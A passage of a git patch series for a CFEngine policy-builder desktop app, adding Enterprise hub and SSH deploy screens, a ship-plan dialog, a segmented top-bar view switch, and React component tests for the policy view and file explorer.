`https://${host}/${repoPath.replace(/^\/+/, '')}` : null; +} + +// The hub deploys exactly this project: its repository and branch, built with cfbs. +export const deploysProject = (state: HubState | null, git: GitStatus | null) => + Boolean(state?.vcs && state.vcs.type === 'GIT_CFBS' && git?.remote && sameRepo(state.vcs.url, git.remote) && state.vcs.refspec === git.branch); + +// Why the hub doesn't deploy this project, in words (null when it does). +export function whyNotProject(state: HubState, git: GitStatus | null): string | null { + const vcs = state.vcs; + if (!vcs) return 'The hub isn’t set up to deploy from git.'; + if (!git?.remote) + return `The hub deploys ${vcs.url || '(none)'} @ ${vcs.refspec}, but this project has no remote to compare with (set it under Git repository).`; + if (!sameRepo(vcs.url, git.remote)) return `The hub deploys ${vcs.url || '(none)'}, not this project’s ${git.remote}.`; + if (vcs.refspec !== git.branch) return `The hub deploys branch “${vcs.refspec}”, this project is on “${git.branch ?? '?'}”.`; + if (vcs.type !== 'GIT_CFBS') return `The hub deploys this repository as ${vcs.type}, not GIT_CFBS (built with cfbs on the hub).`; + return null; +} + +// It can't pull an SSH URL without a deploy key (unknown host key; GitHub refuses keyless SSH). +export const cannotPull = (state: HubState | null) => Boolean(state?.vcs && isSsh(state.vcs.url) && !state.vcs.hasKey); + +/** The project's Enterprise hub: saved logins, the one chosen for this project, and its state. */ +export function useHub(path: string | null) { + const storageKey = `cfpb.deploy.hub:${path}`; + const [hubs, setHubs] = useState(null); + const [url, setUrl] = useState(() => localStorage.getItem(storageKey)); + const [state, setState] = useState(null); + const [failure, setFailure] = useState(null); + const hub = hubs?.find(item => item.url === url) ?? null; + + useEffect(() => { + let current = true; + void window.api?.hubList().then(list => current && setHubs(list)); + return () => { + current = false; + }; + }, []); + + useEffect(() => { + if (!hub) return; + let current = true; + void window.api?.hubState(hub.url).then(result => { + if (!current) return; + if (result.ok) setState(result.state); + else setFailure(result); + }); + return () => { + current = false; + }; + }, [hub]); + + const choose = (next: string | null) => { + setUrl(next); + setState(null); + setFailure(null); + if (next) localStorage.setItem(storageKey, next); + else localStorage.removeItem(storageKey); + }; + + return { + hub, + state, + failure, + loaded: hubs !== null, + setState, + connected: (saved: SavedHub, connected: HubState) => { + setHubs([...(hubs ?? []).filter(item => item.url !== saved.url), saved]); + choose(saved.url); + setState(connected); + }, + forget: async () => { + if (!hub) return; + await window.api!.hubForget(hub.url); + setHubs((hubs ?? []).filter(item => item.url !== hub.url)); + choose(null); + }, + other: () => choose(null), + refresh: async () => { + if (!hub) return; + const result = await window.api!.hubState(hub.url); + if (result.ok) setState(result.state); + else setFailure(result); + } + }; +} + +export type HubHandle = ReturnType; + +export const hubLabel = (state: HubState) => + `${state.info.hostname} · Enterprise ${state.info.version}${state.hosts !== null ? ` · ${state.hosts} ${state.hosts === 1 ? 'host' : 'hosts'}` : ''}`; + +// Log in: URL, user, password; a self-signed certificate is shown to accept by fingerprint first. +export function ConnectForm({ onConnected }: { onConnected: (hub: SavedHub, state: HubState) => void }) { + const [url, setUrl] = useState(''); + const [username, setUsername] = useState('admin'); + const [password, setPassword] = useState(''); + const [probe, setProbe] = useState(null); + const [busy, setBusy] = useState(false); + const [failure, setFailure] = useState(null); + + const connect = async (accepted: string | null) => { + setBusy(true); + setFailure(null); + try { + if (accepted === null) { + const checked = await window.api!.hubProbe(url); + if (!checked.ok) return setFailure(checked); + if (!checked.probe.trusted) return setProbe(checked.probe); + } + const result = await window.api!.hubConnect({ url, username, password, fingerprint: accepted }); + if (!result.ok) return setFailure(result); + onConnected(result.hub, result.state); + } finally { + setBusy(false); + } + }; + + return ( + + { + setUrl(event.target.value); + setProbe(null); + }} + /> + + setUsername(event.target.value)} sx={{ flex: 1 }} /> + setPassword(event.target.value)} sx={{ flex: 1 }} /> + + + {probe && ( + void connect(probe.fingerprint)}> + Trust and connect + + } + > + This computer doesn’t trust the hub’s certificate (self-signed{probe.subject ? `, “${probe.subject}”` : ''}, valid until {probe.validTo}). Trust it + only if this fingerprint is the hub’s: + + SHA-256 {probe.fingerprint} + + + )} + + + The password is kept encrypted in your system keychain. The user needs the VCS settings, CMDB and “run agent” permissions (admin has them). + + + ); +} + +// Points the hub at this project's repository: GIT_CFBS, so the hub builds it with cfbs itself. +export function VcsForm({ + busy, + git, + onSave, + state +}: { + busy: boolean; + git: GitStatus | null; + onSave: (settings: Parameters['hubConfigureVcs']>[1]) => void; + state: HubState; +}) { + const vcs = state.vcs; + const [repository, setRepository] = useState(vcs?.type === 'GIT_CFBS' && vcs.url ? vcs.url : (git?.remote ?? '')); + const [branch, setBranch] = useState(vcs?.type === 'GIT_CFBS' && vcs.refspec ? vcs.refspec : (git?.branch ?? 'main')); + const [subdirectory, setSubdirectory] = useState(vcs?.subdirectory ?? ''); + const [access, setAccess] = useState<'key' | 'none' | 'token'>(vcs?.hasKey ? 'key' : vcs?.username ? 'token' : 'none'); + const [gitUsername, setGitUsername] = useState(vcs?.username ?? ''); + const [token, setToken] = useState(''); + const [keyFile, setKeyFile] = useState(''); + const replaces = vcs && !(vcs.type === 'GIT_CFBS' && sameRepo(vcs.url, repository)); + const sshWithoutKey = access !== 'key' && isSsh(repository); + const https = httpsOf(repository); + const notProjectBranch = git?.branch && branch.trim() && branch.trim() !== git.branch; + return ( + + setRepository(event.target.value)} + helperText="As the hub reaches it: usually the project's origin" + slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} + /> + + setBranch(event.target.value)} + helperText={notProjectBranch ? `The project is on ${git?.branch}` : ' '} + sx={{ flex: 1 }} + /> + setSubdirectory(event.target.value)} + helperText=" " + sx={{ flex: 1 }} + /> + + + setAccess(event.target.value as typeof access)} sx={{ width: 220 }}> + Public repository + Username + token + Deploy key (private key) + + {access === 'token' && ( + <> + setGitUsername(event.target.value)} sx={{ flex: 1 }} /> + setToken(event.target.value)} sx={{ flex: 1 }} /> + + )} + {access === 'key' && ( + <> + + + + )} + + {sshWithoutKey && ( + setRepository(https)}> + Use https + + ) : undefined + } + > + An SSH URL needs a deploy key: the hub can’t pull it otherwise. For a public repository use its https URL{https ? ` (${https})` : ''}. + + )} + {replaces && ( + + Replaces the hub’s current source ({vcs!.type} {vcs!.url || '(none)'} @ {vcs!.refspec}). + + )} + + + + + ); +} + +// How a hub deploy ended, in plain words, with the hub's agent output. +export function HubOutcome({ hub }: { hub: HubDeploy }) { + if (hub.phase === 'failed') return ; + if (hub.phase !== 'done') return null; + return ( + + {hub.deployed === 'yes' && ( + The hub pulled, built and deployed the repository. Its hosts get the new policy on their next run (within ~5 minutes). + )} + {hub.deployed === 'unknown' && ( + + The hub ran its agent, but its output (cut at 4 KB) doesn’t say how the deploy went. The commit the hub runs shows the result once it reports, within + ~5 minutes. + + )} + {hub.deployed === 'no' && ( + + The hub couldn’t deploy. Its reason is in the hub’s /var/cfengine/outputs/dc-scripts.log; usually: + +
  • an SSH repository URL without a deploy key (use the https URL, or a deploy key);
  • +
  • a private repository without a token or key, or one the hub can’t reach;
  • +
  • a branch that doesn’t exist, or cfbs build / cf-promises failing on the hub.
  • +
    +
    + )} + +
    + ); +} + +// The hub's connection and source, for the target settings. +export function HubSettings({ busy, git, hub }: { busy: boolean; git: GitStatus | null; hub: HubHandle }) { + const [saving, setSaving] = useState(false); + const [failure, setFailure] = useState(null); + const [saved, setSaved] = useState(false); + if (!hub.loaded) return null; + if (!hub.hub) return ; + const { state } = hub; + return ( + + + + {state ? ( + <> + {state.info.hostname} · {hub.hub.url.replace(/^https:\/\//, '')} · Enterprise {state.info.version} + {state.info.license && ` · ${state.info.license}`} + + ) : ( + `Connecting to ${hub.hub.url}…` + )} + + + + + + {state && ( + <> + {deploysProject(state, git) ? ( + + Deploys this project: {state.vcs!.url} @ {state.vcs!.refspec} + {cannotPull(state) && ' — but it can’t pull an SSH URL without a deploy key.'} + + ) : ( + {whyNotProject(state, git)} + )} + { + setSaving(true); + setFailure(null); + setSaved(false); + void window + .api!.hubConfigureVcs(hub.hub!.url, settings) + .then(result => { + if (!result.ok) return setFailure(result); + hub.setState(result.state); + setSaved(true); + }) + .finally(() => setSaving(false)); + }} + /> + {saved && Saved to the hub. It deploys from these settings on its next update, or press Deploy now.} + + )} + + ); +} diff --git a/src/renderer/src/components/deploy/shared.tsx b/src/renderer/src/components/deploy/shared.tsx new file mode 100644 index 0000000..2609128 --- /dev/null +++ b/src/renderer/src/components/deploy/shared.tsx @@ -0,0 +1,143 @@ +import type { ReactNode } from 'react'; + +import CheckCircleIcon from '@mui/icons-material/CheckCircle'; +import ErrorIcon from '@mui/icons-material/Error'; +import RemoveCircleOutlineIcon from '@mui/icons-material/RemoveCircleOutlined'; +import WarningAmberIcon from '@mui/icons-material/WarningAmber'; +import { Alert, Box, CircularProgress, LinearProgress, Link, Stack, Typography } from '@mui/material'; + +import type { BuildProblem } from '../../../../preload/api'; +import type { Failure, Stage } from '../../project/deployRuns'; +import type { ProjectChange } from '../../project/projectChanges'; + +export type Tone = 'error' | 'muted' | 'success' | 'warning'; +export type BlockAt = (problem: BuildProblem) => { fileId: string; id: string; label: string } | null; + +export const ago = (time: number) => { + const minutes = Math.round((Date.now() - time) / 60_000); + if (minutes < 1) return 'just now'; + if (minutes < 60) return `${minutes} min ago`; + return `${Math.round(minutes / 60)} h ago`; +}; + +export const short = (hash: string | null | undefined) => (hash ? hash.slice(0, 7) : '?'); + +export function StatusIcon({ size = 18, tone }: { size?: number; tone: Tone }) { + if (tone === 'success') return ; + if (tone === 'error') return ; + if (tone === 'warning') return ; + return ; +} + +export function Line({ children, tone }: { children: ReactNode; tone: Tone }) { + return ( + + + + + + {children} + + + ); +} + +export function FailureAlert({ action, failure }: { action?: ReactNode; failure: Failure | null }) { + if (!failure) return null; + return ( + + {failure.message} + {failure.details && failure.details !== failure.message && ( + + {failure.details} + + )} + + ); +} + +export function ProblemList({ + blockAt, + onShowBlock, + problems +}: { + blockAt: BlockAt; + onShowBlock: (fileId: string, id: string) => void; + problems: BuildProblem[]; +}) { + return ( + + {problems.slice(0, 20).map((problem, index) => { + const block = blockAt(problem); + return ( + + {problem.message} + + {problem.file ?? '?'}:{problem.line} + + {block && ( + onShowBlock(block.fileId, block.id)}> + Show {block.label} + + )} + + ); + })} + + ); +} + +const CHANGE_STYLE = { + added: { sign: '+', color: 'success.main' }, + changed: { sign: '~', color: 'warning.main' }, + removed: { sign: '−', color: 'error.main' } +} as const; + +export function ChangeList({ changes }: { changes: ProjectChange[] }) { + return ( + + {changes.slice(0, 30).map((change, index) => ( + + + {CHANGE_STYLE[change.kind].sign} + + {change.what} + {change.detail && ( + + {' '} + · {change.detail} + + )} + + ))} + {changes.length > 30 && …and {changes.length - 30} more} + + ); +} + +// "Step 3 of 9 · Checking with the linter", and a bar over the steps done. +export function StageProgress({ stage, stages }: { stage: string | null; stages: Stage[] }) { + const index = Math.max( + 0, + stages.findIndex(item => item.id === stage) + ); + return ( + + + + + Step {index + 1} of {stages.length} · {stages[index].label}… + + + + + ); +} + +export function Output({ text }: { text: string }) { + return ( + + {text.trim() || '(no output)'} + + ); +} diff --git a/src/renderer/src/components/deploy/ship.tsx b/src/renderer/src/components/deploy/ship.tsx new file mode 100644 index 0000000..4ba03a0 --- /dev/null +++ b/src/renderer/src/components/deploy/ship.tsx @@ -0,0 +1,161 @@ +import { useState } from 'react'; + +import { Alert, Button, Dialog, DialogActions, DialogContent, DialogTitle, Stack, TextField, Typography } from '@mui/material'; + +import type { GitStatus } from '../../../../preload/api'; +import { type DeployRun, isValid, sshTargetOf } from '../../project/deployRuns'; +import type { Check } from './Preflight'; +import type { Target } from './TargetSettings'; +import { type HubHandle, cannotPull, deploysProject } from './hub'; + +export type ShipStep = 'check' | 'commit' | 'hub' | 'push' | 'ssh'; + +export interface ShipPlan { + // Why it can't ship, and what to do about it. + blocked?: { action?: { label: string; run: () => void }; reason: string }; + label: string; + steps: ShipStep[]; + // Failed or unsure checks that don't block: shown, then "Ship anyway". + warnings: string[]; +} + +const STEP_TEXT: Record = { + check: 'Save, build and check the policy (pre-flight)', + commit: 'Commit the changes', + push: 'Push to origin', + hub: 'Run the hub’s agent: it pulls, builds with cfbs, validates and deploys', + ssh: 'Save, build and check, copy to the hub over SSH, validate and install it there' +}; + +interface PlanInput { + checks: Check[]; + content: string; + git: GitStatus | null; + hub: HubHandle; + isModule: boolean; + onSettings: () => void; + path: string; + run: DeployRun; + target: Target; +} + +const stop = (reason: string, warnings: string[], action?: { label: string; run: () => void }): ShipPlan => ({ + label: action?.label ?? 'Ship', + steps: [], + warnings, + blocked: { reason, action } +}); + +// Commit when there are changes, push when there's something to push. +function gitSteps(checks: Check[], git: GitStatus): ShipStep[] { + const uncommitted = checks.find(item => item.id === 'committed')?.tone === 'warning'; + return [...(uncommitted ? (['commit'] as const) : []), ...(uncommitted || git.ahead > 0 ? (['push'] as const) : [])]; +} + +// Checks that don't block but are shown before shipping: an untested policy. +function warningsOf(checks: Check[]): string[] { + const tested = checks.find(check => check.id === 'tested'); + return tested && tested.tone !== 'success' && !tested.running ? [`Tested: ${tested.status}.`] : []; +} + +function sshPlan(path: string, onSettings: () => void, warnings: string[]): ShipPlan { + const ssh = sshTargetOf(path); + return ssh + ? { label: `Deploy to ${ssh.host}`, steps: ['ssh'], warnings } + : stop('Choose the hub to deploy to over SSH.', warnings, { label: 'Set the hub…', run: onSettings }); +} + +const hubNeedsSetup = (hub: HubHandle, git: GitStatus | null) => !hub.hub || !hub.state || !deploysProject(hub.state, git) || cannotPull(hub.state); + +function hubPlan(input: PlanInput, check: ShipStep[], steps: ShipStep[], warnings: string[]): ShipPlan { + const { git, hub, onSettings } = input; + if (!hub.hub) return stop('Connect to the Enterprise hub.', warnings, { label: 'Connect a hub…', run: onSettings }); + if (!hub.state) return stop(hub.failure ? 'Can’t reach the hub.' : 'Connecting to the hub…', warnings); + if (!deploysProject(hub.state, git)) return stop('The hub deploys another source.', warnings, { label: 'Point the hub at this project…', run: onSettings }); + if (cannotPull(hub.state)) return stop('The hub can’t pull an SSH URL without a deploy key.', warnings, { label: 'Fix the hub’s source…', run: onSettings }); + const label = steps.includes('commit') ? 'Commit, push & deploy to hub' : steps.length ? 'Push & deploy to hub' : 'Deploy to hub'; + return { label, steps: [...check, ...steps, 'hub'], warnings }; +} + +// What Ship does for the target, given the checks: the steps, or why it can't. +export function planShip(input: PlanInput): ShipPlan { + const { checks, content, git, isModule, onSettings, path, run, target } = input; + const warnings = warningsOf(checks); + if (isModule) return stop('A module ships with the policy set that uses it.', warnings); + // An invalid policy never ships; one not checked for the current content is checked first. + const fresh = Boolean(run.build && run.builtFrom === content); + if ((fresh || run.buildFailure) && !isValid(run)) return stop('The policy has problems: see Valid policy.', warnings); + const check: ShipStep[] = fresh ? [] : ['check']; + if (target === 'ssh') return sshPlan(path, onSettings, warnings); + // The hub's own setup comes first: it's what the button offers. + if (target === 'hub' && hubNeedsSetup(input.hub, git)) return hubPlan(input, [], [], warnings); + if (!git?.repo) return stop('The project folder isn’t a git repository: see Committed.', warnings); + if (!git.remote) return stop('Set the git remote to push to.', warnings, { label: 'Set the remote…', run: onSettings }); + if (git.behind > 0) return stop('The remote has commits you don’t: see Pushed.', warnings); + const steps = gitSteps(checks, git); + if (target === 'hub') return hubPlan(input, check, steps, warnings); + if (!steps.length) return { ...stop('Nothing to commit or push.', warnings), label: 'Up to date' }; + return { label: steps.includes('commit') ? 'Commit & push' : 'Push', steps: [...check, ...steps], warnings }; +} + +/** What shipping will do, its warnings, and the commit message when it commits. */ +export function ShipDialog({ + onCancel, + onShip, + plan, + suggested +}: { + onCancel: () => void; + onShip: (message: string) => void; + plan: ShipPlan; + suggested: string; +}) { + const [message, setMessage] = useState(suggested); + const commits = plan.steps.includes('commit'); + return ( + + {plan.label} + + + + {plan.steps.map(step => ( + + {STEP_TEXT[step]} + + ))} + + {plan.warnings.length > 0 && ( + + {plan.warnings.map(warning => ( +
    {warning}
    + ))} +
    + )} + {commits && ( + setMessage(event.target.value)} + slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} + /> + )} +
    +
    + + + + +
    + ); +} diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index 0a02b2c..15166c1 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -155,15 +155,23 @@ function DeployActivityBadge({ path }: { path: string | null }) { // The tabs besides the canvas. function OtherTab({ tab, + dirty, + onOpenTests, onReload, onSave, onShowBlock, ...policy -}: { onReload: () => Promise; onSave: () => Promise; onShowBlock: (fileId: string, id: string) => void; tab: number } & Parameters< - typeof GeneratedPolicyView ->[0]) { +}: { + dirty: boolean; + onOpenTests: () => void; + onReload: () => Promise; + onSave: () => Promise; + onShowBlock: (fileId: string, id: string) => void; + tab: number; +} & Parameters[0]) { if (tab === 1) return ; - if (tab === 3) return ; + if (tab === 3) + return ; return ; } @@ -1081,6 +1089,8 @@ export default function ProjectView({ dirty, onOpenSettings, onReload, onSave }: tab={activeTab} onSave={onSave} onReload={onReload} + dirty={dirty} + onOpenTests={() => setActiveTab(2)} compiled={compiled} currentFileId={currentFileId} selectedId={selectedGroupId ?? selectedInstanceId} diff --git a/src/renderer/src/project/deployRuns.ts b/src/renderer/src/project/deployRuns.ts index 5d9cde5..1b3aaa5 100644 --- a/src/renderer/src/project/deployRuns.ts +++ b/src/renderer/src/project/deployRuns.ts @@ -50,6 +50,8 @@ export interface DeployRun { action: 'build' | 'hub' | 'ssh' | null; build: BuildResult | null; buildFailure: Failure | null; + // The project content (its saved JSON) the last build checked: pre-flight reruns when it changed. + builtFrom: string | null; hub: HubDeploy; // How the last run ended, until the tab is looked at. outcome: 'error' | 'ok' | null; @@ -58,7 +60,16 @@ export interface DeployRun { stage: string | null; } -const EMPTY: DeployRun = { action: null, build: null, buildFailure: null, hub: { phase: 'idle' }, outcome: null, ssh: { phase: 'idle' }, stage: null }; +const EMPTY: DeployRun = { + action: null, + build: null, + buildFailure: null, + builtFrom: null, + hub: { phase: 'idle' }, + outcome: null, + ssh: { phase: 'idle' }, + stage: null +}; // One per project folder. const runs = new Map(); const listeners = new Set<() => void>(); @@ -100,12 +111,15 @@ async function saved(save: () => Promise, path: string, action: DeployR return null; } -export async function startBuild(path: string, save: () => Promise): Promise { +/** Whether a build's checks passed (an invalid policy can't be shipped). */ +export const isValid = (run: DeployRun) => Boolean(run.build && !run.buildFailure && run.build.lint.ok && run.build.promises.ok !== false); + +export async function startBuild(path: string, save: () => Promise, content: string | null = null): Promise { if (!window.api || runOf(path).action || !(await saved(save, path, 'build'))) return; try { const result = await window.api.buildPolicySet(path); const valid = result.ok && result.build.lint.ok && result.build.promises.ok !== false; - update(path, result.ok ? { build: result.build, buildFailure: null } : { build: null, buildFailure: result }); + update(path, result.ok ? { build: result.build, buildFailure: null, builtFrom: content } : { build: null, buildFailure: result, builtFrom: content }); update(path, { outcome: valid ? 'ok' : 'error' }); } finally { update(path, { action: null, stage: null }); @@ -115,7 +129,8 @@ export async function startBuild(path: string, save: () => Promise): Pr export async function startSshDeploy( path: string, save: () => Promise, - target: { host: string; key: string | null; port: number | null } + target: { host: string; key: string | null; port: number | null }, + content: string | null = null ): Promise { if (!window.api || runOf(path).action || !(await saved(save, path, 'ssh'))) return; update(path, { ssh: { phase: 'deploying' } }); @@ -128,6 +143,7 @@ export async function startSshDeploy( update(path, { build: result.build, buildFailure: null, + builtFrom: content, ssh: result.deployed ? { phase: 'deployed', log: result.log, at: Date.now(), host: target.host } : { phase: 'invalid' }, outcome: result.deployed ? 'ok' : 'error' }); @@ -136,6 +152,22 @@ export async function startSshDeploy( } } +export const readRun = (path: string | null) => runOf(path); + +// Where Deploy over SSH goes, per project (host, port, key path — never the key itself). +export type SshTarget = { host: string; key: string | null; port: number | null }; +export function sshTargetOf(path: string | null): SshTarget | null { + const [host = '', port = '', key = ''] = (localStorage.getItem(`cfpb.deploy.ssh:${path}`) ?? '').split('|'); + return host ? { host, port: port ? Number(port) : null, key: key || null } : null; +} +export const saveSshTarget = (path: string, target: SshTarget) => + localStorage.setItem(`cfpb.deploy.ssh:${path}`, `${target.host}|${target.port ?? ''}|${target.key ?? ''}`); + +export function forgetSshTarget(path: string) { + localStorage.removeItem(`cfpb.deploy.ssh:${path}`); + resetSsh(path); +} + export const resetSsh = (path: string) => runOf(path).ssh.phase !== 'deploying' && update(path, { ssh: { phase: 'idle' } }); /** Deploy now on an Enterprise hub; `onState` gets what the hub runs afterwards. */ From 8a333faac9c21117a8f2aeb1e8cc1211f28b7c55 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Mon, 5 Oct 2026 17:28:40 +0300 Subject: [PATCH 051/141] Top bar views became a segmented control with icons The four views sit centered as one control with icons and short labels, the active one filled. Below 1600 px the masterfiles and bundle chips hide; the module chip stays. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/renderer/src/components/TopBar.tsx | 97 +++++++++++++++++++------- 1 file changed, 70 insertions(+), 27 deletions(-) diff --git a/src/renderer/src/components/TopBar.tsx b/src/renderer/src/components/TopBar.tsx index d9213e2..9878bf5 100644 --- a/src/renderer/src/components/TopBar.tsx +++ b/src/renderer/src/components/TopBar.tsx @@ -1,12 +1,64 @@ import type { ReactNode } from 'react'; +import AccountTreeOutlinedIcon from '@mui/icons-material/AccountTreeOutlined'; +import CodeIcon from '@mui/icons-material/Code'; +import RocketLaunchOutlinedIcon from '@mui/icons-material/RocketLaunchOutlined'; +import ScienceOutlinedIcon from '@mui/icons-material/ScienceOutlined'; import SettingsOutlinedIcon from '@mui/icons-material/SettingsOutlined'; -import { Box, Button, IconButton, Tab, Tabs, Typography } from '@mui/material'; +import { Box, Button, ButtonBase, IconButton, Typography, alpha, useTheme } from '@mui/material'; import type { ProjectType } from '../store/projectSlice/types'; import { BlockNodesIcon } from './icons/BlockNodesIcon'; export const PROJECT_TABS = ['Canvas', 'Generated Policy (.cf)', 'Test Results & Logs', 'Deployment'] as const; +const TAB_ICONS = [AccountTreeOutlinedIcon, CodeIcon, ScienceOutlinedIcon, RocketLaunchOutlinedIcon]; +// Shorter in the switch, so the project's chips keep their room (full names in titles and the status bar). +const TAB_SHORT = ['Canvas', 'Generated Policy', 'Tests & Logs', 'Deployment']; + +// The views as one segmented control (as n8n's editor does): the active one is a filled segment. +function ViewSwitch({ active, badges, onChange }: { active: number; badges?: Partial>; onChange: (index: number) => void }) { + const theme = useTheme(); + return ( + + {PROJECT_TABS.map((tab, index) => { + const Icon = TAB_ICONS[index]; + const selected = index === active; + return ( + onChange(index)} + sx={{ + gap: 0.75, + px: 1.5, + py: 0.75, + borderRadius: 1.5, + fontSize: 13, + fontWeight: selected ? 700 : 500, + whiteSpace: 'nowrap', + color: selected ? 'primary.contrastText' : 'text.primary', + bgcolor: selected ? 'primary.main' : 'transparent', + boxShadow: selected ? 1 : 0, + transition: 'background-color 120ms', + '&:hover': { bgcolor: selected ? 'primary.main' : alpha(theme.palette.text.primary, 0.08) } + }} + > + + {TAB_SHORT[index]} + {badges?.[index]} + + ); + })} + + ); +} interface TopBarProps { activeTab: number; @@ -43,7 +95,10 @@ const chipSx = { whiteSpace: 'nowrap', overflow: 'hidden', textOverflow: 'ellipsis', - maxWidth: 200 + maxWidth: 200, + flexShrink: 0, + // No room beside the view switch on a narrow window: hidden rather than squeezed (the status bar names the bundle). + '@media (max-width: 1600px)': { display: 'none' } } as const; export function TopBar({ @@ -66,17 +121,19 @@ export function TopBar({ component="header" sx={{ height: 56, - display: 'flex', + display: 'grid', + // Project on the left, the views centered, Save on the right. + gridTemplateColumns: '1fr auto 1fr', alignItems: 'center', - justifyContent: 'space-between', + gap: 2, px: 2, borderBottom: '1px solid', borderColor: 'divider', flexShrink: 0 }} > - - + + {projectName} @@ -90,7 +147,10 @@ export function TopBar({ {type === 'module' && ( - + module )} @@ -102,28 +162,11 @@ export function TopBar({ )} - - onTabChange(value)} sx={{ minHeight: 'auto', height: '100%' }}> - {PROJECT_TABS.map((tab, index) => ( - - {tab} - {tabBadges[index]} - - ) : ( - tab - ) - } - sx={{ minHeight: 'auto', fontSize: 14, textTransform: 'none' }} - /> - ))} - - + + + {blockCount} blocks + {view(compiled(), fileId)} + + ); +} + +const editorText = () => document.querySelector('.cm-content')?.textContent ?? ''; + +describe('GeneratedPolicyView', () => { + let writeText: ReturnType Promise>>; + + beforeEach(() => { + installApi(); + writeText = vi.fn(async () => {}); + Object.defineProperty(navigator, 'clipboard', { configurable: true, value: { writeText } }); + }); + afterEach(uninstallApi); + + it('asks for a file when none is open', () => { + renderWithProviders(view(compiled(), null)); + expect(screen.getByText('Select a policy file in the explorer.')).toBeInTheDocument(); + }); + + it('needs the desktop app', () => { + uninstallApi(); + renderWithProviders(view(compiled())); + expect(screen.getByText('The generated policy needs the desktop app.')).toBeInTheDocument(); + }); + + it('shows the compiled file with the up-to-date badge', () => { + renderWithProviders(view(compiled())); + expect(editorText()).toContain('bundle agent main'); + expect(screen.getByText('Up to date')).toBeInTheDocument(); + }); + + it('shows Updating while compiling', () => { + renderWithProviders(view(compiled({ pending: true }))); + expect(screen.getByText('Updating…')).toBeInTheDocument(); + expect(screen.queryByText('Up to date')).not.toBeInTheDocument(); + }); + + it('shows a compile error and marks the policy out of date', () => { + renderWithProviders(view(compiled({ error: 'Compile failed: boom' }))); + expect(screen.getByText('Compile failed: boom')).toBeInTheDocument(); + expect(screen.getByText('Out of date')).toBeInTheDocument(); + }); + + it('shows a placeholder before the first compile', () => { + renderWithProviders(view(compiled({ pending: true, result: null }))); + expect(screen.getByText('Generating the policy…')).toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Copy' })).toBeDisabled(); + }); + + it('copies the file', async () => { + renderWithProviders(view(compiled())); + fireEvent.click(screen.getByRole('button', { name: 'Copy' })); + expect(writeText).toHaveBeenCalledWith(MAIN); + expect(await screen.findByRole('button', { name: 'Copied' })).toBeInTheDocument(); + }); + + it('says when copying failed', async () => { + writeText.mockRejectedValueOnce(new Error('denied')); + renderWithProviders(view(compiled())); + fireEvent.click(screen.getByRole('button', { name: 'Copy' })); + expect(await screen.findByRole('button', { name: 'Copy failed' })).toBeInTheDocument(); + }); + + it('shows another file when it is chosen', async () => { + renderWithProviders(); + fireEvent.click(screen.getByRole('button', { name: 'other file' })); + await waitFor(() => expect(editorText()).toContain('bundle agent other')); + expect(editorText()).not.toContain('bundle agent main'); + }); +}); diff --git a/src/renderer/src/components/PolicyFileExplorer.test.tsx b/src/renderer/src/components/PolicyFileExplorer.test.tsx new file mode 100644 index 0000000..5399ca6 --- /dev/null +++ b/src/renderer/src/components/PolicyFileExplorer.test.tsx @@ -0,0 +1,305 @@ +import { fireEvent, screen, within } from '@testing-library/react'; + +import { useAppDispatch, useAppSelector } from '../store'; +import { blocksRemovedForFile } from '../store/canvasSlice'; +import { + fileAdded, + fileConditionClassNameChanged, + fileConditionEnabled, + fileConditionModeChanged, + fileDescriptionChanged, + fileRemoved, + fileRenamed, + fileSelected, + folderAdded, + folderRemoved, + folderRenamed +} from '../store/filesSlice'; +import { collectFolderDescendants } from '../store/filesSlice/fileTree'; +import { inOneStep } from '../store/history'; +import { type TestStore, addBlock, addFile, fileOf, makeStore } from '../store/test/storeTestUtils'; +import { renderWithProviders } from '../test/render'; +import { PolicyFileExplorer } from './PolicyFileExplorer'; + +// Wired to the store the way ProjectView wires it. +function ConnectedExplorer() { + const dispatch = useAppDispatch(); + const { files, folders, currentFileId } = useAppSelector(state => state.files); + const instances = useAppSelector(state => state.canvas); + return ( + dispatch(fileSelected({ fileId }))} + onAddFile={(name, parentId) => dispatch(fileAdded(name, parentId))} + onAddFolder={(name, parentId) => dispatch(folderAdded(name, parentId))} + onRenameFile={(fileId, name) => dispatch(fileRenamed({ fileId, name }))} + onRenameFolder={(folderId, name) => dispatch(folderRenamed({ folderId, name }))} + onDeleteFile={fileId => + inOneStep(dispatch, () => { + dispatch(fileRemoved({ fileId })); + dispatch(blocksRemovedForFile({ fileId })); + }) + } + onDeleteFolder={folderId => { + const { fileIds } = collectFolderDescendants(files, folders, folderId); + inOneStep(dispatch, () => { + dispatch(folderRemoved({ folderId })); + for (const fileId of fileIds) dispatch(blocksRemovedForFile({ fileId })); + }); + }} + /> + ); +} + +const renderExplorer = (store: TestStore) => renderWithProviders(, { store }); + +const addFolder = (store: TestStore, name: string, parentId: string | null = null) => store.dispatch(folderAdded(name, parentId)).payload.id; + +const fileNames = (store: TestStore) => store.getState().files.files.map(file => file.name); + +// The inline name field that replaces a row's label while renaming / creating. +const nameField = () => screen.getByRole('textbox'); + +describe('PolicyFileExplorer', () => { + let store: TestStore; + let mainId: string; + let webId: string; + + beforeEach(() => { + store = makeStore(); + mainId = addFile(store, 'Main'); + webId = addFile(store, 'Web'); + store.dispatch(fileSelected({ fileId: mainId })); + }); + + describe('tree', () => { + it('lists files with their block counts', () => { + addBlock(store, mainId); + addBlock(store, mainId); + renderExplorer(store); + const main = screen.getByRole('treeitem', { name: /Main\.cf/ }); + expect(within(main).getByText('2 blocks')).toBeInTheDocument(); + expect(within(screen.getByRole('treeitem', { name: /Web\.cf/ })).getByText('0 blocks')).toBeInTheDocument(); + }); + + it('shows folders before files, and their files once expanded', () => { + const folderId = addFolder(store, 'Servers'); + addFile(store, 'Nginx', folderId); + store.dispatch(fileSelected({ fileId: mainId })); + renderExplorer(store); + + const items = screen.getAllByRole('treeitem'); + expect(items[0]).toHaveTextContent('Servers'); + expect(screen.queryByText('Nginx.cf')).not.toBeInTheDocument(); + + fireEvent.click(screen.getByText('Servers')); + const folder = screen.getByRole('treeitem', { name: /Servers/ }); + 